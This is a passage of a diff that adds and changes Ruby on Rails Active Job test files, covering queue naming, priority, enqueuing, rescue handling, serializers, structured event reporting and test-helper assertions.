+    child_job = Class.new(ActiveJob::Base)
+    child_job.queue_adapter = StubFourAdapter.new
+    assert_equal "fancy_name", child_job.queue_adapter_name
   end
 end
diff --git a/activejob/test/cases/queue_naming_test.rb b/activejob/test/cases/queue_naming_test.rb
index 0247bc111edf7..943368b7c07f2 100644
--- a/activejob/test/cases/queue_naming_test.rb
+++ b/activejob/test/cases/queue_naming_test.rb
@@ -1,11 +1,19 @@
+# frozen_string_literal: true
+
 require "helper"
+require "jobs/configuration_job"
 require "jobs/hello_job"
+require "jobs/prefixed_job"
 require "jobs/logging_job"
 require "jobs/nested_job"
 
 class QueueNamingTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
   test "name derived from base" do
-    assert_equal "default", HelloJob.queue_name
+    assert_equal "default", HelloJob.new.queue_name
   end
 
   test "uses given queue name job" do
@@ -95,8 +103,60 @@ class QueueNamingTest < ActiveSupport::TestCase
     end
   end
 
-  test "uses queue passed to #set" do
-    job = HelloJob.set(queue: :some_queue).perform_later
+  test "using a custom default_queue_name" do
+    original_default_queue_name = ActiveJob::Base.default_queue_name
+
+    begin
+      ActiveJob::Base.default_queue_name = "default_queue_name"
+
+      assert_equal "default_queue_name", HelloJob.new.queue_name
+    ensure
+      ActiveJob::Base.default_queue_name = original_default_queue_name
+    end
+  end
+
+  test "queue_name_prefix prepended to the default_queue_name" do
+    original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+    original_default_queue_name = ActiveJob::Base.default_queue_name
+
+    begin
+      ActiveJob::Base.queue_name_prefix = "prefix"
+      ActiveJob::Base.default_queue_name = "default_queue_name"
+
+      assert_equal "prefix_default_queue_name", HelloJob.new.queue_name
+    ensure
+      ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+      ActiveJob::Base.default_queue_name = original_default_queue_name
+    end
+  end
+
+  test "can change queue_name_prefix in a job class definition without affecting other jobs" do
+    assert_equal "production", PrefixedJob.queue_name_prefix
+    assert_nil HelloJob.queue_name_prefix
+  end
+
+  test "can change queue_name_prefix in a job class without affecting other jobs" do
+    original_prefix = PrefixedJob.queue_name_prefix
+
+    begin
+      PrefixedJob.queue_name_prefix = "staging"
+
+      assert_equal "staging", PrefixedJob.queue_name_prefix
+      assert_nil HelloJob.queue_name_prefix
+    ensure
+      PrefixedJob.queue_name_prefix = original_prefix
+    end
+  end
+
+  test "is assigned when perform_now" do
+    ConfigurationJob.set(queue: :some_queue).perform_now
+    job = JobBuffer.last_value
+    assert_equal "some_queue", job.queue_name
+  end
+
+  test "is assigned when perform_later" do
+    ConfigurationJob.set(queue: :some_queue).perform_later
+    job = JobBuffer.last_value
     assert_equal "some_queue", job.queue_name
   end
 end
diff --git a/activejob/test/cases/queue_priority_test.rb b/activejob/test/cases/queue_priority_test.rb
index 171fb1e5937df..0751d24fc4137 100644
--- a/activejob/test/cases/queue_priority_test.rb
+++ b/activejob/test/cases/queue_priority_test.rb
@@ -1,7 +1,14 @@
+# frozen_string_literal: true
+
 require "helper"
+require "jobs/configuration_job"
 require "jobs/hello_job"
 
 class QueuePriorityTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+  end
+
   test "priority unset by default" do
     assert_nil HelloJob.priority
   end
@@ -40,8 +47,15 @@ class QueuePriorityTest < ActiveSupport::TestCase
     end
   end
 
-  test "uses priority passed to #set" do
-    job = HelloJob.set(priority: 123).perform_later
+  test "is assigned when perform_now" do
+    ConfigurationJob.set(priority: 123).perform_now
+    job = JobBuffer.last_value
+    assert_equal 123, job.priority
+  end
+
+  test "is assigned when perform_later" do
+    ConfigurationJob.set(priority: 123).perform_later
+    job = JobBuffer.last_value
     assert_equal 123, job.priority
   end
 end
diff --git a/activejob/test/cases/queuing_test.rb b/activejob/test/cases/queuing_test.rb
index a3ecb15c31b5f..fd4c6b93e856c 100644
--- a/activejob/test/cases/queuing_test.rb
+++ b/activejob/test/cases/queuing_test.rb
@@ -1,6 +1,11 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/hello_job"
+require "jobs/enqueue_error_job"
+require "jobs/multiple_kwargs_job"
 require "active_support/core_ext/numeric/time"
+require "minitest/mock"
 
 class QueuingTest < ActiveSupport::TestCase
   setup do
@@ -18,12 +23,10 @@ class QueuingTest < ActiveSupport::TestCase
   end
 
   test "run queued job later" do
-    begin
-      result = HelloJob.set(wait_until: 1.second.ago).perform_later "Jamie"
-      assert result
-    rescue NotImplementedError
-      skip
-    end
+    result = HelloJob.set(wait_until: 1.second.ago).perform_later "Jamie"
+    assert result
+  rescue NotImplementedError
+    pass
   end
 
   test "job returned by enqueue has the arguments available" do
@@ -32,11 +35,72 @@ class QueuingTest < ActiveSupport::TestCase
   end
 
   test "job returned by perform_at has the timestamp available" do
-    begin
-      job = HelloJob.set(wait_until: Time.utc(2014, 1, 1)).perform_later
-      assert_equal Time.utc(2014, 1, 1).to_f, job.scheduled_at
-    rescue NotImplementedError
-      skip
+    job = HelloJob.set(wait_until: Time.utc(2014, 1, 1)).perform_later
+    assert_equal Time.utc(2014, 1, 1), job.scheduled_at
+  rescue NotImplementedError
+    pass
+  end
+
+  test "job is yielded to block after enqueue with successfully_enqueued property set" do
+    HelloJob.perform_later "John" do |job|
+      assert_equal "John says hello", JobBuffer.last_value
+      assert_equal [ "John" ], job.arguments
+      assert_equal true, job.successfully_enqueued?
+      assert_nil job.enqueue_error
+    end
+  end
+
+  test "configured job is yielded to block after enqueue with successfully_enqueued property set" do
+    HelloJob.set(queue: :some_queue).perform_later "John" do |job|
+      assert_equal "John says hello", JobBuffer.last_value
+      assert_equal [ "John" ], job.arguments
+      assert_equal "some_queue", job.queue_name
+      assert_equal true, job.successfully_enqueued?
     end
   end
+
+  test "when enqueuing raises an EnqueueError job is yielded to block with error set on job" do
+    EnqueueErrorJob.perform_later do |job|
+      assert_equal false, job.successfully_enqueued?
+      assert_equal ActiveJob::EnqueueError, job.enqueue_error.class
+    end
+  end
+
+  test "run multiple queued jobs" do
+    ActiveJob.perform_all_later(HelloJob.new("Jamie"), HelloJob.new("John"))
+    assert_equal ["Jamie says hello", "John says hello"], JobBuffer.values.sort
+  end
+
+  test "run multiple queued jobs passed as array" do
+    ActiveJob.perform_all_later([HelloJob.new("Jamie"), HelloJob.new("John")])
+    assert_equal ["Jamie says hello", "John says hello"], JobBuffer.values.sort
+  end
+
+  test "run multiple queued jobs of different classes" do
+    ActiveJob.perform_all_later([HelloJob.new("Jamie"), MultipleKwargsJob.new(argument1: "John", argument2: 42)])
+    assert_equal ["Jamie says hello", "Job with argument1: John, argument2: 42"], JobBuffer.values.sort
+  end
+
+  test "perform_all_later enqueues jobs with schedules" do
+    scheduled_job_1 = HelloJob.new("Scheduled 2014")
+    scheduled_job_1.set(wait_until: Time.utc(2014, 1, 1))
+
+    scheduled_job_2 = HelloJob.new("Scheduled 2015")
+    scheduled_job_2.scheduled_at = Time.utc(2015, 1, 1)
+
+    ActiveJob.perform_all_later(scheduled_job_1, scheduled_job_2)
+    assert_equal ["Scheduled 2014 says hello", "Scheduled 2015 says hello"], JobBuffer.values.sort
+  rescue NotImplementedError
+    pass
+  end
+
+  test "perform_all_later instrumentation" do
+    jobs = HelloJob.new("Jamie"), HelloJob.new("John")
+
+    notification = assert_notification("enqueue_all.active_job", jobs:, enqueued_count: 2) do
+      ActiveJob.perform_all_later(jobs)
+    end
+
+    assert notification.payload[:adapter]
+  end
 end
diff --git a/activejob/test/cases/rescue_test.rb b/activejob/test/cases/rescue_test.rb
index afb1b488313cd..56cdbd61a8d6a 100644
--- a/activejob/test/cases/rescue_test.rb
+++ b/activejob/test/cases/rescue_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/rescue_job"
 require "models/person"
@@ -10,7 +12,7 @@ class RescueTest < ActiveSupport::TestCase
   test "rescue perform exception with retry" do
     job = RescueJob.new("david")
     job.perform_now
-    assert_equal [ "rescued from ArgumentError", "performed beautifully" ], JobBuffer.values
+    assert_equal [ "rescued from ArgumentError", "performed beautifully", "Retried job DIFFERENT!" ], JobBuffer.values
   end
 
   test "let through unhandled perform exception" do
@@ -31,4 +33,9 @@ class RescueTest < ActiveSupport::TestCase
     RescueJob.perform_later [Person.new(404)]
     assert_includes JobBuffer.values, "DeserializationError original exception was Person::RecordNotFound"
   end
+
+  test "rescue from exceptions that don't inherit from StandardError" do
+    RescueJob.perform_later("rafael")
+    assert_equal ["rescued from NotImplementedError"], JobBuffer.values
+  end
 end
diff --git a/activejob/test/cases/serializers_test.rb b/activejob/test/cases/serializers_test.rb
new file mode 100644
index 0000000000000..0df572a474048
--- /dev/null
+++ b/activejob/test/cases/serializers_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_job/serializers"
+
+class SerializersTest < ActiveSupport::TestCase
+  class DummyValueObject
+    attr_accessor :value
+
+    def initialize(value)
+      @value = value
+    end
+
+    def ==(other)
+      self.value == other.value
+    end
+  end
+
+  class DummySerializer < ActiveJob::Serializers::ObjectSerializer
+    def serialize(object)
+      super({ "value" => object.value })
+    end
+
+    def deserialize(hash)
+      DummyValueObject.new(hash["value"])
+    end
+
+    def klass
+      DummyValueObject
+    end
+  end
+
+  class TestSerializerWithoutKlass < ActiveJob::Serializers::ObjectSerializer; end
+
+  setup do
+    @value_object = DummyValueObject.new 123
+    @original_serializers = ActiveJob::Serializers.serializers
+  end
+
+  teardown do
+    ActiveJob::Serializers.serializers = @original_serializers
+  end
+
+  test "can't serialize unknown object" do
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Serializers.serialize @value_object
+    end
+  end
+
+  test "will serialize objects with serializers registered" do
+    ActiveJob::Serializers.add_serializers DummySerializer
+
+    assert_equal(
+      { "_aj_serialized" => "SerializersTest::DummySerializer", "value" => 123 },
+      ActiveJob::Serializers.serialize(@value_object)
+    )
+  end
+
+  test "won't deserialize unknown hash" do
+    hash = { "_dummy_serializer" => 123, "_aj_symbol_keys" => [] }
+    error = assert_raises(ArgumentError) do
+      ActiveJob::Serializers.deserialize(hash)
+    end
+    assert_equal(
+      "Serializer name is not present in the argument: #{{ "_dummy_serializer" => 123, "_aj_symbol_keys" => [] }}",
+      error.message
+    )
+  end
+
+  test "won't deserialize unknown serializer" do
+    hash = { "_aj_serialized" => "DoNotExist", "value" => 123 }
+    error = assert_raises(ArgumentError) do
+      ActiveJob::Serializers.deserialize(hash)
+    end
+    assert_equal(
+      "Serializer DoNotExist is not known",
+      error.message
+    )
+  end
+
+  test "will deserialize known serialized objects" do
+    ActiveJob::Serializers.add_serializers DummySerializer
+    hash = { "_aj_serialized" => "SerializersTest::DummySerializer", "value" => 123 }
+    assert_equal DummyValueObject.new(123), ActiveJob::Serializers.deserialize(hash)
+  end
+
+  test "resets serializers when directly setting" do
+    class DummySerializerAlt < DummySerializer
+      def klass; DummySerializer end
+    end
+    ActiveJob::Serializers.add_serializers DummySerializer
+    ActiveJob::Serializers.serializers = [DummySerializerAlt]
+    assert ActiveJob::Serializers.serializers.include?(DummySerializerAlt.instance)
+    assert_not ActiveJob::Serializers.serializers.include?(DummySerializer.instance)
+  end
+
+  test "adds new serializer" do
+    ActiveJob::Serializers.add_serializers DummySerializer
+    assert ActiveJob::Serializers.serializers.include?(DummySerializer.instance)
+  end
+
+  test "can't add serializer with the same key twice" do
+    ActiveJob::Serializers.add_serializers DummySerializer
+    assert_no_difference(-> { ActiveJob::Serializers.serializers.size }) do
+      ActiveJob::Serializers.add_serializers DummySerializer
+    end
+  end
+
+  test "raises a deprecation warning if the klass method doesn't exist" do
+    expected_message = "TestSerializerWithoutKlass should implement a public #klass method. This will raise an error in Rails 8.2"
+
+    assert_deprecated(expected_message, ActiveJob.deprecator) do
+      ActiveJob::Serializers.add_serializers TestSerializerWithoutKlass
+    end
+  end
+end
diff --git a/activejob/test/cases/structured_event_subscriber_test.rb b/activejob/test/cases/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..68316b0814005
--- /dev/null
+++ b/activejob/test/cases/structured_event_subscriber_test.rb
@@ -0,0 +1,366 @@
+# frozen_string_literal: true
+
+require "helper"
+require "active_support/testing/event_reporter_assertions"
+require "active_job/structured_event_subscriber"
+require "active_job/continuable"
+
+module ActiveJob
+  class StructuredEventSubscriberTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    class TestJob < ActiveJob::Base
+      def perform(arg = nil)
+        case arg
+        when "raise_error"
+          raise StandardError, "Something went wrong"
+        when "discard_error"
+          raise StandardError, "Discard this job"
+        end
+      end
+    end
+
+    class RetryJob < ActiveJob::Base
+      retry_on StandardError, wait: 1.second, attempts: 3
+
+      def perform
+        raise StandardError, "Retry me"
+      end
+    end
+
+    class DiscardJob < ActiveJob::Base
+      discard_on StandardError
+
+      def perform
+        raise StandardError, "Discard me"
+      end
+    end
+
+    class ContinuationJob < ActiveJob::Base
+      include ActiveJob::Continuable
+
+      def perform(action:)
+        case action
+        when :interrupt
+          interrupt!(reason: "Interrupted") if executions == 1
+        when :step
+          step :step do
+          end
+        when :interrupt_step
+          step :interrupt_step do
+            interrupt!(reason: "Interrupted") if resumptions.zero?
+          end
+        when :error_step
+          step :error_step do
+            raise "Error"
+          end
+        when :resume
+          self.continuation = ActiveJob::Continuation.new(self, "completed" => ["step"])
+          continue {  }
+        when :skip_step
+          self.continuation = ActiveJob::Continuation.new(self, "completed" => ["step"])
+          step :step do
+          end
+        when :resume_step
+          self.continuation = ActiveJob::Continuation.new(self, "completed" => [], "current" => ["step", { "job" => self, "resumed" => true }])
+          step :step do
+          end
+        end
+      end
+    end
+
+    def test_enqueue_job
+      event = assert_event_reported("active_job.enqueued", payload: {
+        job_class: TestJob.name,
+        queue: "default",
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter)
+      }) do
+        TestJob.perform_later
+      end
+
+      payload = event[:payload]
+      assert payload[:job_id].present?
+      assert_empty payload[:arguments]
+    end
+
+    def test_enqueue_job_with_arguments
+      assert_event_reported("active_job.enqueued", payload: {
+        job_class: TestJob.name,
+        queue: "default",
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+        arguments: ["test_arg"]
+      }) do
+        TestJob.perform_later("test_arg")
+      end
+    end
+
+    def test_enqueue_job_with_arguments_with_log_arguments_false
+      TestJob.log_arguments = false
+      event = assert_event_reported("active_job.enqueued", payload: {
+        job_class: TestJob.name,
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+        queue: "default",
+      }) do
+        TestJob.perform_later("test_arg")
+      end
+
+      assert_not event[:payload].key?(:arguments)
+    ensure
+      TestJob.log_arguments = true
+    end
+
+    unless adapter_is?(:inline, :sneakers)
+      def test_enqueue_at_job
+        scheduled_time = 1.hour.from_now
+
+        event = assert_event_reported("active_job.enqueued_at", payload: {
+          job_class: TestJob.name,
+          adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+          queue: "default"
+        }) do
+          TestJob.set(wait_until: scheduled_time).perform_later
+        end
+
+        assert event[:payload][:job_id].present?
+        assert event[:payload][:scheduled_at].present?
+      end
+    end
+
+    def test_perform_start_job
+      event = assert_event_reported("active_job.started", payload: {
+        job_class: TestJob.name,
+        queue: "default"
+      }) do
+        TestJob.perform_now
+      end
+
+      assert event[:payload][:job_id].present?
+    end
+
+    def test_perform_completed_job
+      event = assert_event_reported("active_job.completed", payload: {
+        job_class: TestJob.name,
+        queue: "default"
+      }) do
+        TestJob.perform_now
+      end
+
+      assert event[:payload][:job_id].present?
+      assert event[:payload][:duration].is_a?(Numeric)
+    end
+
+    def test_perform_failed_job
+      event = assert_event_reported("active_job.completed", payload: {
+        job_class: TestJob.name,
+        queue: "default",
+        exception_class: "StandardError",
+        exception_message: "Something went wrong",
+      }) do
+        assert_raises(StandardError) do
+          TestJob.perform_now("raise_error")
+        end
+      end
+
+      assert event[:payload][:exception_backtrace].is_a?(Array)
+      assert event[:payload][:job_id].present?
+      assert event[:payload][:duration].is_a?(Numeric)
+    end
+
+    def test_enqueue_failed_job
+      failing_enqueue_job_class = Class.new(TestJob) do
+        before_enqueue do
+          raise StandardError, "Enqueue failed"
+        end
+      end
+
+      assert_event_reported("active_job.enqueued", payload: {
+        job_class: failing_enqueue_job_class.name,
+        queue: "default",
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+        exception_class: "StandardError",
+        exception_message: "Enqueue failed"
+      }) do
+        assert_raises(StandardError) do
+          failing_enqueue_job_class.perform_later
+        end
+      end
+    end
+
+    def test_enqueue_aborted_job
+      aborting_enqueue_job_class = Class.new(TestJob) do
+        before_enqueue do
+          throw :abort
+        end
+      end
+
+      assert_event_reported("active_job.enqueued", payload: {
+        job_class: aborting_enqueue_job_class.name,
+        queue: "default",
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+        aborted: true,
+      }) do
+        aborting_enqueue_job_class.perform_later
+      end
+    end
+
+    def test_perform_aborted_job
+      aborting_perform_job_class = Class.new(TestJob) do
+        before_perform do
+          throw :abort
+        end
+      end
+
+      assert_event_reported("active_job.completed", payload: {
+        job_class: aborting_perform_job_class.name,
+        queue: "default",
+        aborted: true,
+      }) do
+        aborting_perform_job_class.perform_now
+      end
+    end
+
+    unless adapter_is?(:inline, :sneakers)
+      def test_retry_scheduled_job
+        assert_event_reported("active_job.retry_scheduled", payload: {
+          job_class: RetryJob.name,
+          executions: 1,
+          wait_seconds: 1,
+          exception_class: "StandardError",
+          exception_message: "Retry me"
+        }) do
+          assert_raises(StandardError) do
+            RetryJob.perform_now
+          end
+        end
+      end
+    end
+
+    def test_discard_job
+      event = assert_event_reported("active_job.discarded", payload: {
+        job_class: DiscardJob.name,
+        exception_class: "StandardError",
+        exception_message: "Discard me"
+      }) do
+        DiscardJob.perform_now
+      end
+
+      assert event[:payload][:job_id].present?
+    end
+
+    def test_bulk_enqueue_jobs
+      jobs = [TestJob.new, TestJob.new("arg1"), TestJob.new("arg2")]
+
+      assert_event_reported("active_job.bulk_enqueued", payload: {
+        adapter: ActiveJob.adapter_name(ActiveJob::Base.queue_adapter),
+        job_count: 3,
+        enqueued_count: 3,
+        failed_enqueue_count: 0,
+        enqueued_classes: { TestJob.name => 3 },
+      }) do
+        ActiveJob.perform_all_later(jobs)
+      end
+    end
+
+    unless adapter_is?(:inline, :sneakers)
+      def test_interrupt_job
+        event = assert_event_reported("active_job.interrupt", payload: {
+          job_class: ContinuationJob.name,
+          description: "not started",
+          reason: "Interrupted"
+        }) do
+          ContinuationJob.perform_now(action: :interrupt)
+        end
+
+        assert event[:payload][:job_id].present?
+      end
+
+      def test_resume_job
+        event = assert_event_reported("active_job.resume", payload: {
+          job_class: ContinuationJob.name,
+          description: "after 'step'",
+        }) do
+          ContinuationJob.perform_now(action: :resume)
+        end
+
+        assert event[:payload][:job_id].present?
+      end
+
+      def test_step_skipped_job
+        event = assert_event_reported("active_job.step_skipped", payload: {
+          job_class: ContinuationJob.name,
+          step: "step",
+        }) do
+          ContinuationJob.perform_now(action: :skip_step)
+        end
+
+        assert event[:payload][:job_id].present?
+      end
+
+      def test_step_resumed_job
+        event = assert_event_reported("active_job.step_started", payload: {
+          job_class: ContinuationJob.name,
+          step: :step,
+          resumed: true,
+        }) do
+          ContinuationJob.perform_later(action: :resume_step)
+        end
+
+        assert event[:payload][:job_id].present?
+      end
+
+      def test_step_started_job
+        event = assert_event_reported("active_job.step_started", payload: {
+          job_class: ContinuationJob.name,
+          step: :step,
+        }) do
+          ContinuationJob.perform_now(action: :step)
+        end
+
+        assert event[:payload][:job_id].present?
+      end
+
+      def test_step_interrupted_job
+        event = assert_event_reported("active_job.step", payload: {
+          job_class: ContinuationJob.name,
+          step: :interrupt_step,
+          cursor: nil,
+          interrupted: true,
+        }) do
+          ContinuationJob.perform_now(action: :interrupt_step)
+        end
+
+        assert event[:payload][:job_id].present?
+        assert event[:payload][:duration].present?
+      end
+
+      def test_step_errored_job
+        event = assert_event_reported("active_job.step", payload: {
+          job_class: ContinuationJob.name,
+          step: :error_step,
+          cursor: nil,
+          exception_class: "RuntimeError",
+          exception_message: "Error",
+        }) do
+          assert_raises(StandardError) do
+            ContinuationJob.perform_now(action: :error_step)
+          end
+        end
+
+        assert event[:payload][:job_id].present?
+        assert event[:payload][:duration].present?
+      end
+
+      def test_step_job
+        event = assert_event_reported("active_job.step", payload: {
+          job_class: ContinuationJob.name,
+          step: :step,
+        }) do
+          ContinuationJob.perform_now(action: :step)
+        end
+
+        assert event[:payload][:job_id].present?
+        assert event[:payload][:duration].present?
+      end
+    end
+  end
+end
diff --git a/activejob/test/cases/test_case_test.rb b/activejob/test/cases/test_case_test.rb
index 3db2d9dec78dd..d026b65dc3670 100644
--- a/activejob/test/cases/test_case_test.rb
+++ b/activejob/test/cases/test_case_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/hello_job"
 require "jobs/logging_job"
@@ -18,6 +20,35 @@ def test_include_helper
   end
 
   def test_set_test_adapter
-    assert_kind_of ActiveJob::QueueAdapters::TestAdapter, queue_adapter
+    # The queue adapter the job uses depends on the Active Job config.
+    # See https://github.com/rails/rails/pull/48585 for logic.
+    expected = case ActiveJob::Base.queue_adapter_name.to_sym
+               when :test
+                 ActiveJob::QueueAdapters::TestAdapter
+               when :inline
+                 ActiveJob::QueueAdapters::InlineAdapter
+               when :async
+                 ActiveJob::QueueAdapters::AsyncAdapter
+               when :backburner
+                 ActiveJob::QueueAdapters::BackburnerAdapter
+               when :delayed_job
+                 ActiveJob::QueueAdapters::DelayedJobAdapter
+               when :queue_classic
+                 ActiveJob::QueueAdapters::QueueClassicAdapter
+               when :resque
+                 ActiveJob::QueueAdapters::ResqueAdapter
+               when :sidekiq
+                 ActiveJob::QueueAdapters::SidekiqAdapter
+               when :sneakers
+                 ActiveJob::QueueAdapters::SneakersAdapter
+               else
+                 raise NotImplementedError.new
+    end
+
+    assert_kind_of expected, queue_adapter
+  end
+
+  def test_does_not_perform_enqueued_jobs_by_default
+    assert_nil ActiveJob::QueueAdapters::TestAdapter.new.perform_enqueued_jobs
   end
 end
diff --git a/activejob/test/cases/test_helper_test.rb b/activejob/test/cases/test_helper_test.rb
index 2e6357f824ca4..1ee24179e7ad9 100644
--- a/activejob/test/cases/test_helper_test.rb
+++ b/activejob/test/cases/test_helper_test.rb
@@ -1,545 +1,2165 @@
+# frozen_string_literal: true
+
 require "helper"
 require "active_support/core_ext/time"
 require "active_support/core_ext/date"
+require "active_support/concern"
+require "zeitwerk"
 require "jobs/hello_job"
 require "jobs/logging_job"
 require "jobs/nested_job"
 require "jobs/rescue_job"
+require "jobs/raising_job"
+require "jobs/retry_job"
 require "jobs/inherited_job"
+require "jobs/multiple_kwargs_job"
 require "models/person"
+require "support/do_not_perform_enqueued_jobs"
+
+class EnqueuedJobsTest < ActiveJob::TestCase
+  if adapter_is?(:test)
+    include DoNotPerformEnqueuedJobs
+
+    def test_assert_enqueued_jobs
+      assert_nothing_raised do
+        assert_enqueued_jobs 1 do
+          HelloJob.perform_later("david")
+        end
+      end
+    end
+
+    def test_repeated_enqueued_jobs_calls
+      assert_nothing_raised do
+        assert_enqueued_jobs 1 do
+          HelloJob.perform_later("abdelkader")
+        end
+      end
+
+      assert_nothing_raised do
+        assert_enqueued_jobs 2 do
+          HelloJob.perform_later("sean")
+          HelloJob.perform_later("yves")
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_message
+      HelloJob.perform_later("sean")
+      e = assert_raises Minitest::Assertion do
+        assert_enqueued_jobs 2 do
+          HelloJob.perform_later("sean")
+        end
+      end
+      assert_match "Expected: 2", e.message
+      assert_match "Actual: 1", e.message
+    end
+
+    def test_assert_enqueued_jobs_with_no_block
+      assert_nothing_raised do
+        HelloJob.perform_later("rafael")
+        assert_enqueued_jobs 1
+      end
+
+      assert_nothing_raised do
+        HelloJob.perform_later("aaron")
+        HelloJob.perform_later("matthew")
+        assert_enqueued_jobs 3
+      end
+    end
+
+    def test_assert_no_enqueued_jobs_with_no_block
+      assert_nothing_raised do
+        assert_no_enqueued_jobs
+      end
+    end
+
+    def test_assert_no_enqueued_jobs
+      assert_nothing_raised do
+        assert_no_enqueued_jobs do
+          HelloJob.perform_now
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 2 do
+          HelloJob.perform_later("xavier")
+        end
+      end
+
+      assert_match(/2 .* but 1/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_too_many_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 1 do
+          HelloJob.perform_later("cristian")
+          HelloJob.perform_later("guillermo")
+        end
+      end
+
+      assert_match(/1 .* but 2/, error.message)
+    end
+
+    def test_assert_no_enqueued_jobs_failure
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_no_enqueued_jobs do
+          HelloJob.perform_later("jeremy")
+        end
+      end
+
+      assert_match(/0 .* but 1/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_option
+      assert_nothing_raised do
+        assert_enqueued_jobs 1, only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_only_option_as_proc
+      assert_nothing_raised do
+        assert_enqueued_jobs(1, only: ->(job) { job.fetch(:job).name == "HelloJob" }) do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_except_option
+      assert_nothing_raised do
+        assert_enqueued_jobs 1, except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_except_option_as_proc
+      assert_nothing_raised do
+        assert_enqueued_jobs(1, except: ->(job) { job.fetch(:job).name == "LoggingJob" }) do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_option
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+          HelloJob.perform_later("jeremy")
+          LoggingJob.perform_later
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_queue_option
+      assert_nothing_raised do
+        assert_enqueued_jobs 1, only: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :some_queue).perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_except_and_queue_option
+      assert_nothing_raised do
+        assert_enqueued_jobs 1, except: LoggingJob, queue: :some_queue do
+          HelloJob.set(queue: :some_queue).perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_and_queue_option
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 1, only: HelloJob, except: HelloJob, queue: :some_queue do
+          HelloJob.set(queue: :some_queue).perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_queue_option
+      assert_nothing_raised do
+        assert_enqueued_jobs 2, queue: :default do
+          HelloJob.perform_later
+          LoggingJob.perform_later
+          HelloJob.set(queue: :other_queue).perform_later
+          LoggingJob.set(queue: :other_queue).perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_job_with_priority_option
+      assert_enqueued_with(job: HelloJob, priority: 10) do
+        HelloJob.set(priority: 10).perform_later
+      end
+
+      assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_with(job: HelloJob, priority: 10) do
+          HelloJob.set(priority: 5).perform_later
+        end
+      end
+    end
+
+    def test_assert_enqueued_jobs_with_only_option_and_none_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 1, only: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_except_option_and_none_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 1, except: LoggingJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/1 .* but 0/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_option_and_none_sent
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 1, only: HelloJob, except: HelloJob do
+          LoggingJob.perform_later
+        end
+      end
+
+      assert_match(/`:only` and `:except`/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_option_and_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 5, only: HelloJob do
+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/5 .* but 1/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_except_option_and_too_few_sent
+      error = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_enqueued_jobs 5, except: LoggingJob do
+          HelloJob.perform_later("jeremy")
+          4.times { LoggingJob.perform_later }
+        end
+      end
+
+      assert_match(/5 .* but 1/, error.message)
+    end
+
+    def test_assert_enqueued_jobs_with_only_and_except_option_and_too_few_sent
+      error = assert_raise ArgumentError do
+        assert_enqueued_jobs 5, only: HelloJob, except: HelloJob do
